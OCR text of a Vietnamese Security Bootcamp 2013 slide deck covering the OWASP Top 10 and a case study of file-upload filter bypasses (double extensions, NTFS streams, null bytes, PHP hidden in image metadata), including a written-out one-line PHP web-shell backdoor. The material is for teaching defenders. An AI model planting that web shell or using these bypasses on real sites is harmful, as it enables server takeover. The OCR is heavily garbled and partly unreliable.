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O OWASP ban s& dugc cung cap mién phi va
mo .

Céac cong cu va cac tiéu chuan vé an toan théng tin

Tai liéu veé kiém tra bao mat ung dung, 1ap trinh an toan va
kiém dinh ma nguon

Thu vién va cac tiéu chuan diéu khién an ninh théng tin
Cac chi nhanh ctia hoi ¢ khap thé gidi

Céac nghién ctru mai nhat

Céc budi hoi thao toan cau

Maillist chung

10/23/2013 9:56 AM www.securitybootcamp.vn Safety from thinking



OWASP TOP 10

2010-A1 — Injection

SECURITY BOOTCAMP 2013

phién ban 2013

' OWASP Top 10 — 2010 (old) | OWASP Top 10 — 2013 (New) |

2013-A1 — Injection

=2 P— ;
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e Management 2013-A3 — Cross Site Scripting [(X55)
— 2010-A4 — Insecure Direct Object References 2013-A4 — Insecure Direct Object References
= 4 2010-A5 — Cross Site Reguest Forgery (CSRF) \ }' 2013-A5 — Security Misconfiguration
| —
e 2010-A6 — Security Misconfiguration 2013-A6 — Sensitive Data Exposure
o~
- 2010-A7 — Insecure Cryptographic Storage 2013-ATF — Missing Function Lewvel Access Control
—
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2010-A8 — Failure to Restrict URL Access 2013-A8 — Cross-Site Reguest Forgery (CSRF)
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-3 = Added New 2013-A%9: Using Known Vulnerable T e re e TR

{ Components !

— il B
—
= 3 10/23/2013 9:56 AM WwWw.securitybootcamp.vn Safety from thlnklng



o %\M" SECURITY BOOTCAMP 2013
G

&5/ 00«

=35 0 o -

=1 /8 Al: Injection
V/ww.\a°(\e

=2+ Nguyén nhan: CAc truy van dau vao tai
=2 (png dung bi chen thém dir li€u khong an
== toan dan dén ma lénh dwoc gdi téi may
=1 chu co s& di¥ liéu.
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Al: Injection

=2+ Nguyén nhan: CAc truy van dau vao tai
=2 (png dung bi chen thém dir li€u khong an
== toan dan dén ma lénh dwoc gdi téi may
=1 chu co s& di¥ liéu.

= SQL Injection Xpath Injection
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== LDAP Injection Command Injection
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Al: Injection
=. °* Nguy co: ’
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DEMO

== Demo SQL Injection
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=3 ngoai cO thé truy cap vao nhirng tai
== nguyén noi bo trai phép (admin page,
== Inside, control page ...)
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=3 ngoai cO thé truy cap vao nhirng tai

== nguyén noi bob trai phép (admin page,
== Inside, control page ...)

== + Ngoai ra hacker con cé thé thuc hién

—. cac hanh vi nang quyén quan tri hoac
—. tan cong dwa vao cac dang nhw session
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[7] Sign in with victim’s token
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[1] POST
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= Friendlist
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Internet

4] http://www.server.com/X
WebApp

vulnerabile al XSS
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- user

[6] Conect back
=3 Attacker [5] RESPONE: execute
- javascript function
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A4: Insecure Direct
Object References

» Diém yéu: Viéc phan quyén yéu (weak

=3 authorization) cho phép ngudi dung co thé

. truy cap dir liéu cua nguwdi dung khac. Trong
=2 nhirng trwdng hop hacker co thé xac dinh
—= dwoc chinh xac cau trdc truy van gé&i dén
server, hacker c6 thé nhanh chong thu thap
=2 di lieu nhw Credit Card, ma khach hang,

=2 thong tin ca nhan...
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=35 (77 | AB: Security Misconfiguration

» 5 www. 2%

p— =

« Viéc that chat cac cau hinh bao mat tai
== c3c tang trong kién tric web la can thiét:
==  platform, OS, web server, database,

== framework... nham tranh nhirng nguy co
=.  co6thé bj khai thac vao ng dung.

:’— = e

= 3 10/23/2013 9:56 AM Www.securitybootcamp.vn Safety from thinking




SECURITY BOOTCAMP 2013

A5: Security Misconfiguration
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j@ A6: Sensitive Data Exposure

- 52 I

. s www o

=* « Cac dir liéu nhay cam duwoc lwu triy

=3 khOng an toan co thé gay ra nhirng anh
== hwdng to I&n cho hé thdng may ch,

==  cUng nhw cho khach hang.

= 3 10/23/2013 9:56 AM WwWw.securitybootcamp.vn Safety from thinking



Trainj,

- (/?N? SECURITY BOOTCAMP 2013
®)
<4C

9
% S
=3 AB6: Sensitive Data Exposure
=2/

=2« Tinh hudng 1: Thé tin dung/Tai khoan
=3 dang nhap duoc lwu trir cleartext.
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M A6: Sensitive Data Exposure
= www_\aC\ ’
* « Tinh hudng 1: Thé tin dung/Tai khoan
=3 dang nhap duoc lwu trir cleartext.

= « Tinh hudng 2: Kénh truyén HTTPS bj
=?  hacker nghe lén va di¥ liéu dwoc giai ma
== théng qua 16 hdng CRIME
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A7: Missing Function
Level Access Control

http://admin.server.com/

-3
=2
=2
==
=3
=3

=2

To view this page, you must log in to area "Restricted” on
:80.

Your password will be sent unencrypted.

Mame:

Password:

=3 "] Remember this password
=2
— = | [ Log In ] [ Cancel ]
=3
=2
=2
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A7: Missing Function
Level Access Control

http://admin.server.com/admin.php

- -

admin.php ¢ | Q- Google
: a Apple Yahoo! Google Maps YouTube Wikipedia News(20) v Popular ¥

- Admin Control Panel Login
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-2
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[ § (20 \l
EMAS: Cross-Site Request Forgery

= www.\a(‘\\e

* « V@i nhirng hé thdng thanh toan khéng
=3 kiém tra tinh hop Ié cla
== token/Session/Domain... thi nguy co
== nguwdidung bi mat tién do bj Ira thwe
—- hién cac ma kich ban khdng mong mudn

twr cac site Itra dao.
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A8: Cross-Site Request Forgery

B http://www.server.com/app/checkout.php?
" merchantid=10&customer=541&amount=500&currentcy=us
=2
]
= o —
. 5 Atg:!l] Request IIII”’ L%
- g Inieget IIII:" !
=3 VICtl [3] Respon'.'lf
- B App. server
=2 + |
i merchantid=10&custom
=3 €St or=g06&.amount=500&cu
-3 [2] R
=3
=3
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- *C’J with Known Vulnerabilities
=2
=. * Diém yeu: Viec su dung cac l6 hong bao

=2 mat trong cac thuw vién, plugin, module,
=2 ng dung... dwgc cong khai trong cong
=. dong giup hacker nhanh chong khai thac
—. cac 16 hdng bao mat.
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A9: Using Compone.r?t_s
with Known Vulnerabilities
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A9: Using Components
with Known Vulnerabilities
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A9: Using Components
with Known Vulnerabilities

o -d-g
d%c\-, Cony,
2\S
: (o \e
©
5\ 2 \ 0
?®
’).oom

=2« Khuyén cdo: Cac ban va bdo mat tlr nha
=2 phat trién rng dung sé giup rng dung
== giam thiéu cac rui ro khai thac.
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- 0P @Us' A10: Unvalidated Redirects
ﬁ%@(&o O &
MJ and Forwards
=2 3
=. * Viéc chuyen huwdng khong an toan

== nguwodi dung dén mét dwdrng dan bén
== ngoai trang c6 thé tao nguy co nguoi
== dung truy cap dén nhirng trang chira ma
—. déc nham danh cap di liéu ca nhan.
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A10: Unvalidated Redirects
and Forwards

- /) /e /
:: @:IZ] Request IIII”’ = L
=: ( "« Internet IIII’I » :

| =
== VIcCtl 3 Respon'lll ’
- = \ App. server
=2
. [1] Send URL - i
- B to victim =N
. m Q us.html —
=3 :
=3 Attacker oaeex] .=
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Tong Két

-3

=2

—- |

. ,_/\\\Nhlteslg!%’g

=2
=3
=2
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=3
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=2
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Tong két

Cross-Site Scripting
Information Leakage
[ Content Spoofing
Cross-Site Request Forgery
B Brute Force
B nsufficient Transport Layer Protection
Insufficient Authorization
SQL injection
[l Other
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DEMO

== Demo Business Logic Testing

=2
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Case Study : File Upload

=* . Protection bang Content-Type

—————me—————houndryl2345E
=3 Content-Dispogsition: form-data: pame="Filedata"”:; filename="test.txt"
— Content-Type:| application/octet-stream

=2 o R
== + CO thé dé dang thay déi “Content-Type”
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1. Name and Extension

=2 « Fjle Extension in “test.php.jpg”?
=3 ".php.jpg”?

13 b

- JPY

=2
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. : .
ﬁ‘g@w Bo qua Extensions

=2 o Kiém tra thwc thi extensions:
=. °* .php” thwong bi khoa, vay “.php3’,
- “.php4”, “.phtml”, thi nhw thé nao?

—. °* Tuongtw cho “.asp” thwong bi khdéa =
== “asa’ or‘“.cer’thi sao?

—. °* Con client side extensions thi sao?
ntm, .html, .swf, .jar, ...?

:’— = e
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sggc»“yj 2. Double Extensions

=2

=2 « Cau hinh trong Apache

- i — “file.php.jpg” served chay PHP

. — “AddHandler application/x-httpd-php .php”

<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FllesMatch>

==« Cau hinh trong IIS 6 thi:

> e — “file.asp;.jpg” = Chay file ASP
=2 — “/folder.asp/file.txt” = Chay file ASP
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z‘g@o“?“ﬂf DEMO

== Demo Remote Code
== Execution On Nginx Server

= 3 10/23/2013 9:56 AM Www.securitybootcamp.vn Safety from thinking



Trainj,

- %? SECURITY BOOTCAMP 2013
®)
<4C

9
A s
=20 o
=50 yf 3. Case Sensitive Rules

=2

= * Vidu:

=2 _Blacklist RegEx: “\\.php$’

-— » “file.php” != "file.PhP”

;‘3 o “f”ephpgjpgu !: “f”ePHPBJpG”
- =
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Train,

o /F\N SECURITY BOOTCAMP 2013

&3/ y$

&34‘8 O\(‘(%OO ]

S 4. Windows 8.3

» 5 www. 2%

-3

» Ghi dé cac file nhay cam nhu:
. —“web.config” == "WEB~1.con”
g —“default.aspx” == “DEFAUL~1.asp’

== * [rwrong hgp khdong extensions thi co
—» cho phep?

=2 —“ htaccess” == “HTACCE~1"
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i /F\o‘*‘“ SECURITY BOOTCAMP 2013
&3/ y$

3‘*!?8 o\/\*%oo : :

=50 ﬂf 5. Windows File System

=3

= Ao onnm . B R _
=- ¢ Cudi tap tin thwong bi bo qua:
- — Vi du dau cham va ky tw space
— = |

=3 * “test.asp ... . ..." == "test.asp”
=1 _

== — Hoac file:

:: * “test.php<>" == “test.php”

=32

=3

=3

=3

=3
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&3/ y$

&4‘8 O\\‘{%OO : !

=50 ﬂf 5. Windows File System

=
=2 + NTFS Alternate Data Streams:

=*  —“file.asp::$data” == “file.asp’

=2 —“/folder:$i30:$Index_allocation” == “/folder”
B - rieccice: Jog > make smply " hisceess
=2 == “HTACCE~1" ...

=
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SECURITY BOOTCAMP 2013

6. File Type Detector Issues

Trwdng hop Height/Width cua file image?
Vi du: Comments trong file jpeg:

e ~
& image.php.jpg Properties l.th

General I Sec:urity| Details | Previous Wersions

Property Value
Drescription
Title
Subject
Rating
Tags
Comments
Origin
’;”‘h"ﬁk PHP Small
ate taken
Backdoor

Program name

Date acquired
<7=§_GET[ONS_POSTI:7=]
Image —

Image 1D

Dimensions 360 x 360
Width 360 pixels
Height 360 pixels

L A S g sl

Remove Propeties and Personal Information

[ ok ][ Canes

= 3 10/23/2013 9:56 AM
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7. Null Character

=2 “fllephp%oolpg”

=2
== -

— Content-Disposition: form-data: name="myfile'": fllenameﬂ'tem;_y_txtu

Content-Type: text/plain
= 4

=3
=3
=2
=3
=2
=3
=3
=2
=3

= 3 10/23/20139:56 AM WwWw.securitybootcamp.vn Safety from thinking

Null Character




SECURITY BOOTCAMP 2013

8. Compression (Image) Issues

=3 Viéc nén file .png c6 thé chra code php

-3

=2

=2

—R

— |

=32

=2 )
- : PNG wit
. PNG Image Compression
=3

=1

=32

=3

=2
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8. GZIP Compression - PHP Code

. =  Dirliéu Text ...

£ygTos + g To
- ) +lg"ko S

—. -NenGazp

=3 0 ¥ . 00 o3 . ch?=5
— = 1 8 ... ... ... ... .. .. 28 & __ 4 __ . . L _GET[0](5 POST[1
— T - IF 00 . o AT e

==2 « Chung ta co PHP backdoor:
- — <?=$ GET[0]($ POST[1]);?>
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DEMO

=2 DEMO RISKY FUNCTIONALITY FILE UPLOADS

=2
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- Thank You!
- &
- Question

=2
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